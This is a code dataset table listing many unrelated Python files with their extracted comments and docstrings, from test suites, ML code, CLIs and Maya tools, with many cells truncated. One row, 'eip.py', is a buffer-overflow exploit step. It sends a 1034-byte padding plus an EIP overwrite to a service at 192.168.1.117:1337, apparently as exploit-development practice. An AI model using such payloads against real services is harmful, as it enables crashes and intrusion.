content stringlengths 27 928k | path stringlengths 4 230 | size int64 27 928k | nl_text stringlengths 21 396k | nl_size int64 21 396k | nl_language stringlengths 2 3 | nl_language_score float64 0.04 1 |
|---|---|---|---|---|---|---|
# Copyright (c) 2019-2020, NVIDIA CORPORATION. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditi... | qa/L0_infer_variable/infer_variable_test.py | 14,508 | Copyright (c) 2019-2020, NVIDIA CORPORATION. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the fo... | 1,836 | en | 0.909002 |
# -*- coding: utf-8 -*-
"""API Request cache tests."""
#
# (C) Pywikibot team, 2012-2014
#
# Distributed under the terms of the MIT license.
#
from __future__ import unicode_literals
__version__ = '$Id: 790cd19ca8b22937365bf24b6e40ed90c79ee12b $'
#
from pywikibot.site import BaseSite
import scripts.maintenance.cache... | tests/cache_tests.py | 1,258 | Validate cache entries.
Assert validity of the cache entry.
Test the apicache by doing _check_cache_entry over each entry.
API Request cache tests.
-*- coding: utf-8 -*- (C) Pywikibot team, 2012-2014 Distributed under the terms of the MIT license. TODO: more tests on entry._params, and possibly fixes needed to make ... | 361 | en | 0.755548 |
import numpy as np
import math
from ml_from_scratch.activation_functions import Sigmoid
from ml_from_scratch.utils import make_diagonal
class LogisticRegression():
""" Logistic Regression classifier.
Parameters:
-----------
n_iters: int
Number of iterations running gradient descent, default is... | ml_from_scratch/logistic_regression.py | 2,074 | Logistic Regression classifier.
Parameters:
-----------
n_iters: int
Number of iterations running gradient descent, default is 1000
lr: float
learning rate
gradient_descent: boolean
True or false depending if gradient descent should be used when training. If
false then we use Newton Method.
Initialize... | 589 | en | 0.534846 |
#!/usr/bin/env python3
import sys
import psutil
import subprocess
import numpy as np
import matplotlib.pyplot as plt
if (len(sys.argv) < 2):
print("usage: python3 driver.py <runs>")
sys.exit(1)
input_file = 'fib_time'
output_file = "time.png"
runs = int(sys.argv[1])
def outlier_filter(data, threshold=2):
... | scripts/driver.py | 1,661 | !/usr/bin/env python3 bind process on cpu0 user kernel kernel to user | 69 | en | 0.540465 |
import socket
import sys
import time
print("[+] Nani???? EIP!!\n")
buff = "A" * 1034
EIP = "B" * 4
Fill = "C" * 62
payload = buff + EIP + Fill
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Application
s.connect(('192.168.1.117', 1337))
s.recv(1024) #Recv the banner
#Finally the vulne... | 6/eip.py | 437 | Connect to the ApplicationRecv the bannerFinally the vulnerable command | 71 | en | 0.735904 |
"""Main entry point for VarFish CLI."""
import argparse
import logging
import os
import sys
import logzero
import toml
from logzero import logger
from varfish_cli import __version__
from .common import run_nocmd, CommonConfig
from .case import setup_argparse as setup_argparse_case
from .case import run as run_case
... | varfish_cli/__main__.py | 3,826 | Main entry point before parsing command line arguments.
Create argument parser.
Wrapper for ``setup_argparse()`` that only returns the parser.
Only used in sphinx documentation via ``sphinx-argparse``.
Main entry point for VarFish CLI.
: Paths to search the global configuration in. pragma: nocover Construct argument ... | 737 | en | 0.451295 |
import tensorflow.keras.backend as K
import tensorflow as tf
from tensorflow.keras.layers import Input, Conv2D, UpSampling2D, BatchNormalization, ZeroPadding2D, MaxPooling2D, Reshape, \
Concatenate, Lambda
from tensorflow.keras.models import Model
from tensorflow.keras.utils import multi_gpu_model
from tensorflow.k... | segnet_v7.py | 9,171 | Conv-MaxPool SPP 24M Encoder Image average pooling Concat Decoder | 65 | en | 0.558554 |
# This code is adapted from the https://github.com/tensorflow/models/tree/master/official/r1/resnet.
# ==========================================================================================
# NAVER’s modifications are Copyright 2020 NAVER corp. All rights reserved.
# ================================================... | official/utils/logs/hooks_helper.py | 6,219 | Function to get ExamplesPerSecondHook.
Args:
every_n_steps: `int`, print current and average examples per second every
N steps.
batch_size: `int`, total batch size used to calculate examples/second from
global time.
warm_steps: skip this number of steps before logging and running average.
**kwargs: a d... | 3,657 | en | 0.721628 |
"""
Base and utility classes for pandas objects.
"""
from __future__ import annotations
import textwrap
from typing import (
TYPE_CHECKING,
Any,
Generic,
Hashable,
Literal,
TypeVar,
cast,
final,
)
import numpy as np
import pandas._libs.lib as lib
from pandas._typing import (
Arra... | pandas/core/base.py | 38,591 | Common ops mixin to support a unified interface / docs for Series / Index
Mixin which prevents adding new attributes.
Prevents additional attributes via xxx.attribute = "something" after a
call to `self.__freeze()`. Mainly used to prevent the user from using
wrong attributes on an accessor (`Series.cat/.str/.dt`).
If... | 16,007 | en | 0.607412 |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'maxim'
import six
import unittest
from hyperengine.spec import *
class SpecTest(unittest.TestCase):
def test_zero_nodes(self):
def check_zero_nodes(spec):
parsed = ParsedSpec(spec)
self.assertEqual(parsed.size(), 0)
self.assertEqu... | hyperengine/tests/spec_test.py | 10,198 | ! /usr/bin/env python -*- coding: utf-8 -*- stats.norm.ppf is an instance method in python 2 | 92 | en | 0.584244 |
from __future__ import print_function
import sys
import random
import os
from builtins import range
import time
import json
sys.path.insert(1, "../../../")
import h2o
from tests import pyunit_utils
from h2o.estimators.glm import H2OGeneralizedLinearEstimator
from h2o.grid.grid_search import H2OGridSearch
class Test... | h2o-py/dynamic_tests/testdir_algos/glm/pyunit_glm_gaussian_gridsearch_randomdiscrete_large.py | 23,996 | This class is created to test the three stopping conditions for randomized gridsearch using
GLM Binomial family. The three stopping conditions are :
1. max_runtime_secs:
2. max_models:
3. metrics. We will be picking 2 stopping metrics to test this stopping condition with. One metric
will be optimized if it increase... | 8,494 | en | 0.817193 |
import random
from random import sample
import argparse
import numpy as np
import os
import pickle
from tqdm import tqdm
from collections import OrderedDict
from sklearn.metrics import roc_auc_score
from sklearn.metrics import roc_curve
from sklearn.metrics import precision_recall_curve
from sklearn.covariance import L... | main.py | 11,806 | device setup load model set model's intermediate outputs fig, ax = plt.subplots(1, 2, figsize=(20, 10)) fig_img_rocauc = ax[0] fig_pixel_rocauc = ax[1] extract train set features model prediction get intermediate layer outputs initialize hook outputs Embedding concat randomly select d dimension calculate multivariate G... | 1,031 | en | 0.414045 |
# PROBLEM LINK:- https://leetcode.com/problems/sqrtx/
class Solution:
def mySqrt(self, x):
a = 1e-6
low = 1
high = x
while high - low > a:
mid = (high + low)/2
if mid * mid < x:
low = mid
else:
high = mid
re... | SEARCHING/EASY/Sqrt(x)/Code.py | 335 | PROBLEM LINK:- https://leetcode.com/problems/sqrtx/ | 51 | en | 0.728912 |
#!/usr/bin/env python3
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... | _py2tmp/testing/utils.py | 41,449 | Tests that the given source produces the expected error during compilation.
:param expected_py2tmp_error_regex: A regex used to match the _py2tmp error type,
e.g. 'NoBindingFoundForAbstractClassError<ScalerImpl>'.
:param expected_py2tmp_error_desc_regex: A regex used to match the _py2tmp error description,
... | 3,257 | en | 0.823391 |
import requests
from telethon.sync import TelegramClient
from telethon.errors.rpcerrorlist import PhoneNumberBannedError
import pickle, pyfiglet
from colorama import init, Fore
import os, random
from time import sleep
init()
lg = Fore.LIGHTGREEN_EX
w = Fore.WHITE
cy = Fore.CYAN
ye = Fore.YELLOW
r = Fore.RED
n = Fore.... | manager.py | 5,753 | print(r)print(n)print(lg+'[5] Update your Genisys'+n) | 53 | en | 0.213274 |
#!/usr/bin/env python3
# Copyright (c) 2017-2020 The Vadercoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Tests NODE_NETWORK_LIMITED.
Tests that a node configured with -prune=550 signals NODE_NETWORK_LIMITE... | test/functional/p2p_node_network_limited.py | 4,627 | Tests NODE_NETWORK_LIMITED.
Tests that a node configured with -prune=550 signals NODE_NETWORK_LIMITED correctly
and that it responds to getdata requests for blocks correctly:
- send a block within 288 + 2 of the tip
- disconnect peers who request blocks older than that.
!/usr/bin/env python3 Copyright (c) 201... | 1,149 | en | 0.794128 |
# -*- coding: utf-8 -*-
BOT_NAME = 'BeiKeZuFangSpider'
SPIDER_MODULES = ['BeiKeZuFangSpider.spiders']
NEWSPIDER_MODULE = 'BeiKeZuFangSpider.spiders'
# Obey robots.txt rules
ROBOTSTXT_OBEY = True
# Configure maximum concurrent requests performed by Scrapy (default: 16)
# CONCURRENT_REQUESTS = 32
# Configure a delay ... | BeiKeZuFangSpider/settings.py | 3,112 | -*- coding: utf-8 -*- Obey robots.txt rules Configure maximum concurrent requests performed by Scrapy (default: 16) CONCURRENT_REQUESTS = 32 Configure a delay for requests for the same website (default: 0) See https://doc.scrapy.org/en/latest/topics/settings.htmldownload-delay See also autothrottle settings and docs DO... | 2,237 | en | 0.564759 |
# Original author: yasunorikudo
# (https://github.com/yasunorikudo/chainer-ResNet)
import chainer
import chainer.functions as F
from chainer import initializers
import chainer.links as L
class BottleNeckA(chainer.Chain):
def __init__(self, in_size, ch, out_size, stride=2):
super(BottleNeckA, self).__init__()
i... | src/models/resnet50.py | 6,020 | Original author: yasunorikudo (https://github.com/yasunorikudo/chainer-ResNet) Load pre-trained weights from caffemodel Functions to load weights from pre-trained ResNet50 caffemodel Reference: https://github.com/chainer/chainer/blob/master/chainer/links/model/vision/resnet.py As CaffeFunction uses shortcut symbols, Ca... | 349 | en | 0.781427 |
# Copyright 2021 Google LLC All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | tests/system/test_dbapi.py | 9,907 | Check that DDLs in autocommit mode are immediately executed.
Check that DDLs in commit mode are executed on calling `commit()`.
Test auto committing a transaction on `autocommit` mode change.
Test committing a transaction with several statements.
Check connection validation method.
Test that results checksum is calcula... | 1,841 | en | 0.891344 |
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright (c) 2015, Vispy Development Team. All Rights Reserved.
# Distributed under the (new) BSD License. See LICENSE.txt for more info.
# -------------------------------------------------------------------------... | vispy/gloo/buffer.py | 16,293 | Generic GPU buffer.
A generic buffer is an interface used to upload data to a GPU array buffer
(ARRAY_BUFFER or ELEMENT_ARRAY_BUFFER). It keeps track of
buffer size but does not have any CPU storage. You can consider it as
write-only.
The `set_data` is a deferred operation: you can call it even if an OpenGL
context i... | 5,316 | en | 0.780625 |
import argparse
import re
####
# # Box 1
####
import sys,os,imageio,lpips
root = '/home/youngsun/documents/mvs/mvsnerf_timing'
os.chdir(root)
sys.path.append(root)
from opt_src import config_parser
from data import dataset_dict
from torch.utils.data import DataLoader
import matplotlib.pyplot as plt
# models
from ... | renderer_blender_src.py | 15,373 | Box 1 models pytorch-lightning Box 2 (B, 8) (B, 3) to unnormalize image for visualization data N V C H W (800, 800) (600, 800) (512, 640) depth = cv2.resize(depth_h, None, fx=0.5, fy=0.5,interpolation=cv2.INTER_NEAREST)!!!!!!!!!!!!!!!!!!!!!!!!! Box 3 create function for returning dense, sparse, far views or "as... | 768 | en | 0.542812 |
"""
Copyright MIT and Harvey Mudd College
MIT License
Summer 2020
A simple program which can be used to manually test racecar_utils functionality.
"""
########################################################################################
# Imports
####################################################################... | labs/test_utils.py | 7,768 | This function is run once every time the start button is pressed
After start() is run, this function is run every frame until the back button
is pressed
Copyright MIT and Harvey Mudd College
MIT License
Summer 2020
A simple program which can be used to manually test racecar_utils functionality.
Imports Global variab... | 922 | en | 0.786002 |
import numpy as np
from shapely import geometry
def shrink(coords: np.ndarray, dist: np.ndarray) -> tuple[np.ndarray]:
"""Shrinks a 2D polygon by a given distance.
The coordinates of the polygon are expected as an N x 2-matrix,
and a positive distance results in inward shrinking.
An empty set is ... | geometry_tools.py | 2,608 | Computes the Hausdorff distance between two 2D polygons.
Args:
A: A matrix defining the first polygon.
B: A matrix defining the second polygon.
Returns:
A float representing the Hausdorff distance.
Reads a polygon from a table.
Args:
file: Path to a file containing a plain text, tab-separated
... | 909 | en | 0.855529 |
''' Taking characters from terminal without pressing enter for movements '''
from __future__ import print_function
class AlarmException(Exception):
pass | alarmexception.py | 157 | Taking characters from terminal without pressing enter for movements | 68 | en | 0.902642 |
#============================================================================
#Name : __init__.py
#Part of : Helium
#Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies).
#All rights reserved.
#This component and the accompanying materials are made available
#under the terms of the Lic... | buildframework/helium/external/helium-antlib/python/pythoncore/lib/ccm/__init__.py | 86,133 | ============================================================================ Name : __init__.py Part of : Helium Copyright (c) 2009 Nokia Corporation and/or its subsidiary(-ies).All rights reserved.This component and the accompanying materials are made availableunder the terms of the License "Eclipse Public ... | 2,680 | en | 0.753146 |
# See pybullet quickstart guide here:
# https://docs.google.com/document/d/10sXEhzFRSnvFcl3XxNGhnD4N2SedqwdAvK3dsihxVUA/edit#
# Create a Tiltbrush-like app, drawing lines using any controller
# Line width can be changed
import pybullet as p
CONTROLLER_ID = 0
POSITION=1
ORIENTATION=2
NUM_MOVE_EVENTS=5
BUTTONS=6
ANALOG... | RTG_proj/Vendor/bullet/examples/pybullet/examples/vrEvent.py | 2,532 | See pybullet quickstart guide here: https://docs.google.com/document/d/10sXEhzFRSnvFcl3XxNGhnD4N2SedqwdAvK3dsihxVUA/edit Create a Tiltbrush-like app, drawing lines using any controller Line width can be changedassume that the VR physics server is already started beforedon't load default robot assets etcuse a few defaul... | 408 | en | 0.603157 |
import rtorrent
import os
import xmlrpclib
import zipfile
from urlparse import parse_qs
from collections import namedtuple
from gzip import GzipFile
from StringIO import StringIO
try:
import simplejson as json
except ImportError:
import json
def to_json(input):
return(json.dumps(input))
def decompres... | dartui/utils.py | 3,389 | A simple extension of StringIO that includes torrent-related attributes
Try to deserialize given args. Return input if not serialized
Return disk usage statistics about the given path.
Returned valus is a named tuple with attributes 'total', 'used' and
'free', which are the amount of total, used and free space, in byt... | 500 | en | 0.713364 |
"""
$oauthToken = decrypt_password('PUT_YOUR_KEY_HERE')
Copyright 2016 Randal S. Olson
User.retrieve_password(email: 'name@gmail.com', $oauthToken: 'PUT_YOUR_KEY_HERE')
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to ... | MarkovNetwork/MarkovNetworkDeterministic.py | 13,841 | Seed the random genome with num_markov_gates Markov Gates Sequence of 42 then 213 indicates a new Markov Gate Determine the number of inputs and outputs for the Markov Gate Make sure that the genome is long enough to encode this Markov Gate Determine the states that the Markov Gate will connect its inputs and outputs t... | 321 | en | 0.845171 |
#
# PySNMP MIB module ASCEND-MIBSYS1-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ASCEND-MIBSYS1-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:12:34 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, ... | pysnmp/ASCEND-MIBSYS1-MIB.py | 26,681 | PySNMP MIB module ASCEND-MIBSYS1-MIB (http://snmplabs.com/pysmi) ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ASCEND-MIBSYS1-MIB Produced by pysmi-0.3.4 at Mon Apr 29 17:12:34 2019 On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 Using Python version 3.7.3 (default, Mar 27 2019,... | 330 | en | 0.311998 |
# coding=utf-8
#
# ROSREPO
# Manage ROS workspaces with multiple Gitlab repositories
#
# Author: Timo Röhling
#
# Copyright 2016 Fraunhofer FKIE
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License a... | src/rosrepo/cmd_clean.py | 3,278 | coding=utf-8 ROSREPO Manage ROS workspaces with multiple Gitlab repositories Author: Timo Röhling Copyright 2016 Fraunhofer FKIE Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.... | 650 | en | 0.83555 |
from rpython.jit.backend.llsupport.test.ztranslation_test import TranslationRemoveTypePtrTest
from rpython.translator.translator import TranslationContext
from rpython.config.translationoption import DEFL_GC
from rpython.jit.backend.arm.test.support import skip_unless_run_slow_tests
skip_unless_run_slow_tests()
class... | rpython/jit/backend/arm/test/test_ztranslation_external_exception.py | 717 | 'hybrid' or 'minimark' | 22 | fa | 0.173635 |
from data import *
# data augmentation
#In deep learning tasks, a lot of data is need to train DNN model, when the dataset is not big enough, data augmentation should be applied.
#keras.preprocessing.image.ImageDataGenerator is a data generator, which can feed the DNN with data like : (data,label), it can also do dat... | dataPrepare.py | 1,917 | data augmentationIn deep learning tasks, a lot of data is need to train DNN model, when the dataset is not big enough, data augmentation should be applied.keras.preprocessing.image.ImageDataGenerator is a data generator, which can feed the DNN with data like : (data,label), it can also do data augmentation at the same ... | 1,288 | en | 0.714759 |
from copy import deepcopy
from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction
from simple_api.django_object.datatypes import create_associated_list_type
from simple_api.django_object.filters import generate_filters
from simple_api.django_object.converter impo... | simple_api/django_object/django_object.py | 4,643 | set the module of the generated Object class to match the module of the user class if the class is meant to resolve relations, store it for the particular model make sure the primary key is included, otherwise `ModelObjectAction`s would just not work create filters and List type for potential listing actions | 309 | en | 0.86762 |
""" A class that can provide a date/time in any timeformat.format() format and both
local and UTC timezones within a ContextVariable.
Copyright (c) 2004 Colin Stewart (http://www.owlfish.com/)
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted pr... | lib/pubtal/DateContext.py | 3,035 | Wraps a DateTime and provides context paths local and utc.
These paths in turn can take TimeFormat formats, for example:
utc/%d-%m-%Y
The value should be in the LOCAL timezone.
A class that can provide a date/time in any timeformat.format() format and both
local and UTC timezones withi... | 1,934 | en | 0.856991 |
import pandas as pd
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import axes3d
base = pd.read_csv('orchard.csv')
figura = plt.figure()
eixo = figura.add_subplot(1, 1, 1, projection = '3d')
eixo.scatter(base.decrease, base.rowpos, base.colpos)
eixo.set_xlabel('decrease')
eixo.set_ylabel('rowpos')
eixo.set... | Python/grafico_3d.py | 387 | cores https://pythonspot.com/3d-scatterplot/ | 44 | en | 0.633602 |
from rest_framework import serializers
from core.models import Tag, Ingredient, Recipe
class TagSerializer(serializers.ModelSerializer):
"""Seraizlizer for TAG object"""
class Meta:
model = Tag
fields = ('id', 'name')
read_only_fields = ('id',)
class IngredientSeriali... | app/recipe/serializers.py | 1,468 | Seraializer for Ingredient object
Serializer a recipe detail
Serializer for uploading images to recipes
Recipe serailizer
Seraizlizer for TAG object | 148 | en | 0.681499 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.FileItem import FileItem
from alipay.aop.api.constant.ParamConstants import *
from alipay.aop.api.domain.AlipayEbppInvoiceApplyStatusNotifyModel import AlipayEbppInvoiceApplyStatusNotifyModel
class AlipayEbppInvoiceApplyStatusNotifyReque... | alipay/aop/api/request/AlipayEbppInvoiceApplyStatusNotifyRequest.py | 4,004 | !/usr/bin/env python -*- coding: utf-8 -*- | 42 | en | 0.34282 |
# -*- coding: utf-8 -*-
import unittest
import os
# prepare for test
os.environ['ANIMA_TEST_SETUP'] = ""
from anima.env import mayaEnv # to setup maya extensions
import pymel.core
from anima.edit import Sequence, Media, Video, Track, Clip, File
class SequenceManagerTestCase(unittest.TestCase):
"""tests the Se... | tests/previs/test_sequence_manager_extension.py | 30,520 | tests the SequenceManagerExtension class
set up the test
testing if create_sequence is working properly
testing if create_sequence is working properly
testing if from_edl method will update Sequences and shots
correctly with the edl file
testing if from_edl method will update Sequences a... | 2,964 | en | 0.693469 |
##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~##
##python3 script created by tBarford on 20220205
##
##
##File Description: This is the streamlit webapp MVP for BG Golf EI Profile Database Demo
## run in term w/ : streamlit run streamlit_app.py
##~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~##
import streamlit a... | streamlit_app.py | 2,395 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~python3 script created by tBarford on 20220205File Description: This is the streamlit webapp MVP for BG Golf EI Profile Database Demo run in term w/ : streamlit run streamlit_app.py~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sidebar Main Contentmanage shafts to plot | 310 | en | 0.492047 |
import copy
from argparse import Namespace
from typing import Dict, Union, List, Optional, Tuple
from jina import __default_executor__
from jina.enums import PodRoleType
from jina.excepts import NoContainerizedError
from jina.orchestrate.deployments.config.k8slib import kubernetes_deployment
from jina.orchestrate.depl... | jina/orchestrate/deployments/config/k8s.py | 14,858 | Class that implements the output of configuration files for Kubernetes for a given Deployment.
Return a list of dictionary configurations. One for each deployment in this Deployment
.. # noqa: DAR201
.. # noqa: DAR101
External Deployments should be ignored in a K8s based Flow otherwise it will remain with the... | 465 | en | 0.859786 |
#!/usr/bin/env python
# Copyright (c) 2014, Norwegian University of Science and Technology
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the ab... | kuka_driver/src/kuka_driver/kuka_rsi_router.py | 11,935 | !/usr/bin/env python Copyright (c) 2014, Norwegian University of Science and Technology All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright no... | 2,804 | en | 0.833432 |
# -*- coding: utf-8 -*-
#
# Copyright (C) 2021 Northwestern University.
#
# Invenio-Vocabularies is free software; you can redistribute it and/or
# modify it under the terms of the MIT License; see LICENSE file for more
# details.
"""Subjects services."""
class SubjectsLabels:
"""Fetching of subjects labels for ... | invenio_vocabularies/contrib/subjects/facets.py | 695 | Fetching of subjects labels for facets.
Return the mapping when evaluated.
In this case, the ids received are actually the vocabulary `scheme`
(top-level) and `subject` (nested). And since they are already
human-readable, we keep them as-is.
Subjects services.
-*- coding: utf-8 -*- Copyright (C) 2021 Northwestern Un... | 480 | en | 0.899633 |
"""
Django settings for CoffeeAPI project.
Generated by 'django-admin startproject' using Django 3.0.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
import os
i... | CoffeeAPI/CoffeeAPI/settings.py | 3,586 | Django settings for CoffeeAPI project.
Generated by 'django-admin startproject' using Django 3.0.2.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
Build paths insid... | 990 | en | 0.677913 |
#### NOTICE: THIS FILE IS AUTOGENERATED
#### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY
#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
result = Tangible()
result.template = "object/tangible/loot/quest/shared_nym_droid_memory_chip.iff"
result.attribute_templ... | data/scripts/templates/object/tangible/loot/quest/shared_nym_droid_memory_chip.py | 458 | NOTICE: THIS FILE IS AUTOGENERATED MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES BEGIN MODIFICATIONS END MODIFICATIONS | 168 | en | 0.698026 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from runner.koan import *
import random
class DiceSet:
def __init__(self):
self._values = None
@property
def values(self):
return self._values
def roll(self, n):
# Needs implementing!
# Tip: random.randint(min, max) can ... | python3/koans/about_dice_project.py | 2,047 | !/usr/bin/env python -*- coding: utf-8 -*- Needs implementing! Tip: random.randint(min, max) can be used to generate random numbers THINK ABOUT IT: If the rolls are random, then it is possible (although not likely) that two consecutive rolls are equal. What would be a better way to test this? Roll two different instan... | 374 | en | 0.910246 |
#This file was originally generated by PyScripter's unitest wizard
import unittest
from coord import Coord
from cell import Cell
from field import Field
def dummy():
""" Dummy function for comparison of the return values """
return
class CoordTest(unittest.TestCase):
def setUp(self):
... | src/game_of_life/python_coderetreat_socramob/cr_socramob08/coord_test.py | 1,645 | Dummy function for comparison of the return values
This file was originally generated by PyScripter's unitest wizard run all tests raised by sys.exit(True) when tests failed | 175 | en | 0.89528 |
# Copyright 2018 HTCondor Team, Computer Sciences Department,
# University of Wisconsin-Madison, WI.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICE... | tests/conftest.py | 3,280 | Copyright 2018 HTCondor Team, Computer Sciences Department, University of Wisconsin-Madison, WI. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless r... | 788 | en | 0.858723 |
# qubit number=5
# total number=40
import cirq
import qiskit
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2,floor, sqrt, pi
import numpy as np
import networkx as ... | benchmark/startQiskit843.py | 3,926 | qubit number=5 total number=40 implement the oracle O_f^\pm NOTE: use U1 gate (P gate) with \lambda = 180 ==> CZ gate or multi_control_Z_gate (issue 127) oracle.h(controls[n]) oracle.barrier() circuit begin number=3 number=4 number=5 number=6 number=30 number=36 number=37 number=38 number=34 number=35 number=32 number=... | 549 | en | 0.220307 |
# Copyright 2011 OpenStack Foundation
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance wi... | patron/context.py | 10,195 | Security context and request information.
Represents the user taking a given action within the system.
A keystoneclient auth plugin that uses the values from the Context.
Ideally we would use the plugin provided by auth_token middleware however
this plugin isn't serialized yet so we construct one from the serialized
... | 2,671 | en | 0.863667 |
# Generated by Django 3.2.5 on 2021-11-29 19:04
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("organisations", "0004_auto_20210718_1147"),
("schools", "0005_alter_school_courses_offered"),
]
operations = [
migrations.AlterField... | pucadmin/schools/migrations/0006_alter_school_courses_offered.py | 662 | Generated by Django 3.2.5 on 2021-11-29 19:04 | 45 | en | 0.719168 |
# Generated by Django 3.0 on 2020-10-19 06:30
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0003_auto_20200922_1738'),
]
operations = [
migrations.AlterField(
model_name='userprofile',
name='id',
... | accounts/migrations/0004_auto_20201019_1200.py | 444 | Generated by Django 3.0 on 2020-10-19 06:30 | 43 | en | 0.718975 |
#
# Copyright 2021 XEBIALABS
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, subli... | build/resources/main/arxan/UploadApplication.py | 3,337 | Copyright 2021 XEBIALABS Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, a... | 1,128 | en | 0.845671 |
# Copyright 2015 gRPC authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... | examples/python/helloworld/greeter_client.py | 2,421 | The Python implementation of the GRPC helloworld.Greeter client.
Copyright 2015 gRPC authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless r... | 775 | en | 0.865565 |
__author__ = 'Randall'
from demos.setup import np, plt, demo
from compecon import DDPmodel
# DEMDDP04 Binomial American put option model
# Model Parameters
T = 0.5 # years to expiration
sigma = 0.2 # annual volatility
r = 0.05 # annual interest rate
strike = 2.1 ... | compecon/demos/demddp04.py | 1,683 | DEMDDP04 Binomial American put option model Model Parameters years to expiration annual volatility annual interest rate option strike price current asset price Discretization Parameters number of time intervals length of time intervals discount factor up jump factor up jump probability State Space asset prices number o... | 542 | en | 0.689587 |
#!/usr/bin/env python
# Helpful little script that spits out a comma-separated list of
# language codes for Qt icons that should be included
# in binary Astercoin Core distributions
import glob
import os
import re
import sys
if len(sys.argv) != 3:
sys.exit("Usage: %s $QTDIR/translations $BITCOINDIR/src/qt/locale"%... | contrib/qt_translations.py | 627 | !/usr/bin/env python Helpful little script that spits out a comma-separated list of language codes for Qt icons that should be included in binary Astercoin Core distributions | 174 | en | 0.830021 |
# -*- coding: utf-8 -*-
import os
import sys
import json
import time
import math
import types
import logging
import traceback
import operator
import collections
from functools import wraps
from maya import cmds
from maya.api import OpenMaya as om, OpenMayaAnim as oma, OpenMayaUI as omui
from maya import OpenMaya as o... | cmdx.py | 154,791 | Maya's MBoundingBox
Returned in place of an actual plug
A Maya callback
Multiple callbacks rolled into one
Modifier for DG nodes
Modifier for DAG nodes
Example:
>>> with DagModifier() as mod:
... node1 = mod.createNode("transform")
... node2 = mod.createNode("transform", parent=node1)
... m... | 51,399 | en | 0.639026 |
""" Global and local Scopes
Scopes and Namespaces
When an object is assigned to a variable # a = 10
that variable points to some object
and we say that the variable (name) is bound to that object
That object can be accessed using that name in various parts of our code... | .history/my_classes/ScopesClosuresAndDecorators/GlobalLocalScopes_20210709212514.py | 1,931 | Global and local Scopes
